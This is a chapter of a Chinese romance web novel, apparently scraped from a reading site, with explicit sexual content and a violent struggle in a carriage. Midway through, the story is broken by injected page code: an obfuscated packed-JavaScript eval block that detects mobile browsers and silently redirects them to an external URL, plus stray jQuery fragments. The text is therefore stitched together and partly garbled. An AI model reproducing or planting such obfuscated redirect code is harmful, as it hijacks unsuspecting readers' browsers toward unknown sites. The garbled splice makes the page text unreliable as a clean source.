21. 第 21 章
    幸好他们都被毯子分隔了世界,看不到外界让人很有安全感,好像无论他怎么喊都不会有人听见。

    伏着又没有支撑的姿势不好受,让身体被挤压的疼痛更加深入,但他没有怨言,她的怒气他该受。

    “塌了。”

    腰上被打了一下,他咬牙尽力维持,嘴上也没退让:“我真的在为你好......呃......今日离开,不会有人为难你......”

    她又打了一下,反驳:“你自己做了决定也不过问我,不问我的想法还说是为我好?如果我现在非常粗暴地对待你还说是为你好,你也能接受吗?”

    手指倏然攥紧,他扭过头,无力喘息:“如果你需要我,我接受......”

    “你!”

    她怒而解开衣带:“你接受不代表我接受!你希望我这样对你好减轻你的愧疚吗?如果我真这样做了我才瞧不起我自己。”

    手腕得到释放他顿时松了口气,但打在心上的结却没有被释放。

    他盯着手上的红印,感受到一阵战栗。

    衣服被掀开,有一个温柔的吻落在腰上,落在他的旧伤上。

    激流从脊骨处攀升,他被抱着腰慢慢放下。

    是感激还是感谢,他道不清,只感觉明明是他的身体,她却比他自己更懂。

    翠绿早已染上了火热的体温,每一个来回他都被更加深入得探索和撷取,同时另一端的抚慰让他直接忘我,张着唇根本发不出声音。

    攥着衣袖,他仿佛又找到了那种在云顶的自由,不顾一切飞向云层,不顾一切喊出声,然后被风撞得四零八落,浑身散架。

    她抱着膝盖坐在一旁,静静等着他的身体恢复平静。

    不知颤抖了多久,甚至有泪珠滴落在衣物上,泪痕转瞬即逝。

    这个荒唐的白天以他无数次从云顶坠落而告终,白色云雾沾染了满身,泥泞不堪,而那凶器还被恶意地留在体内。

    他疲惫睁眼,看见孟寒川盯着他看,叹息了一声,别开脸。

    “都是这种反应了还不肯说实话?”

    “......我无话可说。”

    “我就问你,要我留下还是离开?”

    “你走吧。”

    他答得很快,声音早就支离破碎,只剩下一团沙哑的气音。

    一阵凉气从被掀开的一角钻入,冷得他一个激灵。

    跑步声远离,很快消失不见。

    他苦涩了一声,亲手拔出那凶器,看见那翠绿柄身上的白雾时暗了眼眸。

    缓了好一阵,身体终于关闭了所有通道。

    向外摸索,摸到发冠胡乱簪了发,他裹紧毯子疲惫起身。

    许是她跑走的动静太大,北阳入院敲了敲书房门询问:“将军,你没事吧将军!”

    轻咳了一声,他努力润喉,发出声响:“无事......”

    喉间烧得厉害,他赶紧闷住嘴,压制咳嗽。

    “别让人进来。”

    外头默了片刻,也只答:“是。”

    摸上自己的腰,那处黑色纹路好像在嘲笑他。

    嘲笑他无能也好,难堪也罢,这一面他只让她一个人见,那便所谓。

    提上食盒,里面是软塌塌的还热着的饼,一口下去黏糊糊的,里头还有陷。

    不甜,好吃。

    捂住嘴,他又干咳了几声,尽力吃下她带来的食物,这应该是她亲手做的,他不能浪费。

    只是没想到,他费力得到的长笛最后也没送出去。

    洛明珠下了马车,抬头便是离缨府。

    她听闻叶景深天气转凉身体便会不佳,便一大早亲自炖了补品,背着国公夫人来碰运气。

    担心又被避而不见,她在上门前特地捏了自己两把哭红了眼,这会又拼命挤出几滴眼泪,准备上前。

    上了台阶,远远就从门内看见一个风风火火的身影。

    不知怎地忽然心虚,她赶紧躲到一旁不让人瞧见。

    里头的人跑了出来,她定眼一看,这分明就是那位琴师,还是医师来着?

    不重要,重要的是她怎么会从大门出来,还不是被赶出来的,是跑出来的,表情也不大好看。

    女人的直觉告诉她,刚刚发生了什么,和这位琴师,还是医师有关。

    孟寒川一路跑回家,闷头倒在被子里。

    闷着还不舒坦,她用力捶打被团,发出闷喊,发泄心中烦闷。

    可恶,太可恶,她想不通叶景深为什么会这么可恶。

    身体的反应是骗不了人的,可是他为什么说不要就不要,这样戏耍她的感情。

    嘴里有话不肯说,单方面就替她做了决定,到底当她是谁啊!

    她感觉自己被甩了,不断捶打床被,震动的声响引得门外的狗都跑进屋内呜咽。

    那一日之后她没再去离缨府,也没再看见过叶景深,就好像她的生活中从来没有出现过这么一号人。

    白天在乐馆,晚上回家喂狗,第二天继续,偶尔也会去无茗茶馆帮帮工。

    有没有叶景深,似乎对她的生活影响不大。

    伙计的手在她面前晃:“东家?东家?”

    回过神,她愣愣抬头,被伙计的脸拉回现实。

    她在刚刚弹琴,弹那把店里的门面,叶景深给她定制的吉他。

    不行,她不能这么没出息。

    “噢!你回去吧,我自己收拾。”

    她将琴重新挂起,而后忽闻落雨声。

    雨水密布,街上的百姓纷纷挡着头快速奔跑,有两三人甚至躲到了乐馆廊下避雨。

    “突然就下雨了啊。”

    伙计擦拭桌面,闻言回声:“是啊,往年这个时候多是这般阴晴不定,东家出门得记得备伞。多添两件。”

    身体不好的人碰上阴雨天,得多难受啊......

    阴天下,一切都是灰色的,缺乏生机。

    望着外头的雨,她忽然又走了神,但一抹鹅黄抓住了视线。

    那人撑着伞,站在街角不远处,露出一片衣摆,隐隐朝这边观望。

    她认出来了,但不想回应。

    回到店内继续和伙计搞卫生,待到天色渐暗,她拿出伞正要招呼伙计一起走时,余光还瞥见那抹鹅黄逗留在街角。

    她顿了一瞬,叹了口气,和伙计打了个招呼便上前和那人交谈。

    “东家?”

    那不是她回家的路,伙计顺着她的方向奇怪瞟了一眼。

    “洛小姐,你是特地在等我吗?”

    洛明珠一直在观察她的店,等到她走到面前时才真正开始正视眼前的人。

    “你到底是琴师和医师?”

    “这重要吗?你找我什么事?”

    洛明珠低头,似慌张向外瞥,低声:“那人想见你。”

    孟寒川绞眉不语,看着洛明珠将她拉到无人处恳求:“去见见他吧,他病得很重。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345526|152150||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “为什么让你来找我?”

    “不是他让我来的,是我偷偷来的。”她失落垂眸,要哭不哭,“我不忍心看表哥因病日渐消瘦,所以......请孟姑娘不要怪罪。”

    孟寒川不客气道:“你在搞笑吗?是他要跟我断,现在你要我去看他,我不要面子吗?”

    “嗯?”洛明珠嘴角一僵,但是情真意切,“可表哥不想要任何人侍奉,嘴里一直念着孟姑娘的名字......”

    “所以你来道德绑架我?”

    洛明珠听不懂道德绑架是什么意思,只是泪眼朦胧,低声恳求。

    苦肉计,还是真生病了?

    雨水从伞面滑落,孟寒川攥着拳,盯着地面。

    “孟姑娘,就当最后一面,求你发发善心,去救救表哥吧。”洛明珠泪眼朦胧恳求。

    该死的道德感让她有些动摇。

    纠结异常,她还是叹了口气。

    最后一面吧,就去见最后一面,见完就结束。

    她跟着洛明珠上了轿,但上了轿又开始后悔,心中更是紧张。

    这样太没出息了,就像她上赶着一般,不值当,但才答应又反悔她又干不出来。

    马车上行,有种爬坡的感觉。

    她疑惑掀开帷裳,外界虽昏暗但能分辨出不是去离缨府的路。

    顿时心中起了疑心。

    “这是去哪的路?”

    洛明珠也掀开帷裳往外看了看,但没有回答。

    沉默就是回答,她顿觉不妙,大喊:“停车!我要下车!”

    车未停还在摇晃,她不管洛明珠了,起身就要跳车。

    大腿忽然刺痛,她一个踉跄,低头一看,不敢置信洛明珠往她腿上扎了一簪。

    “你发什么神经!”

    洛明珠陡然间变了副面孔,握着簪子下拉。

    那感觉和被刀子割肉一般,她紧紧握住洛明珠的手跌在马车内,不想被她寻了可乘之机压住了腿。

    “你怕什么?又不是什么很难的事,一瞬间就结束了。”

    洛明珠勾起唇角,又拔下一簪对着她就要刺下。

    “你有病啊!我招你惹你了!”

    孟寒川大喊着仰面抓住她的双手,愤怒与惊恐共同占据脑海。

    她强行让冷静,然背上已是冒了一层冷汗。

    “我们有什么仇怨?难道是因为叶景深吗?姐妹,为了一个男人,不值当啊,你这是杀人!杀人是犯法的!”

    “闭嘴!我做不了将军夫人,你也别想!”洛明珠睁大了眼,眼中有些许癫狂。

    “你一个乐府里出来的,不三不四的琴师,凭什么他能看上你!凭什么!”

    “我在家里受尽冷眼等他,可他却告诉我他不会娶任何人,但是转头就看上了你!凭什么!你知道他身上的秘密吗!他和太监有什么两样?只有我不会嫌弃,只有我!”

    孟寒川被她说得一无是处,怒从心起顿时有了力量。

    忍着腿上的痛她转走洛明珠的簪子,立马从袖子里拔出了匕首刺进她手臂中。

    “什么叫看上我,是老娘看上了他!你骂谁不三不四呢!嗯?你什么脸哪来的自信骂我?”

    匕首狠狠刺下,拔出后她抢走洛明珠的簪子扔到马车外,但洛明珠不死心拽着她的头发就要掐上脖子。

    她手忙脚乱割断一部分头发,恰在此时马车将停,她照着洛明珠的鼻子就是一拳,跳下马车,跳入黑夜。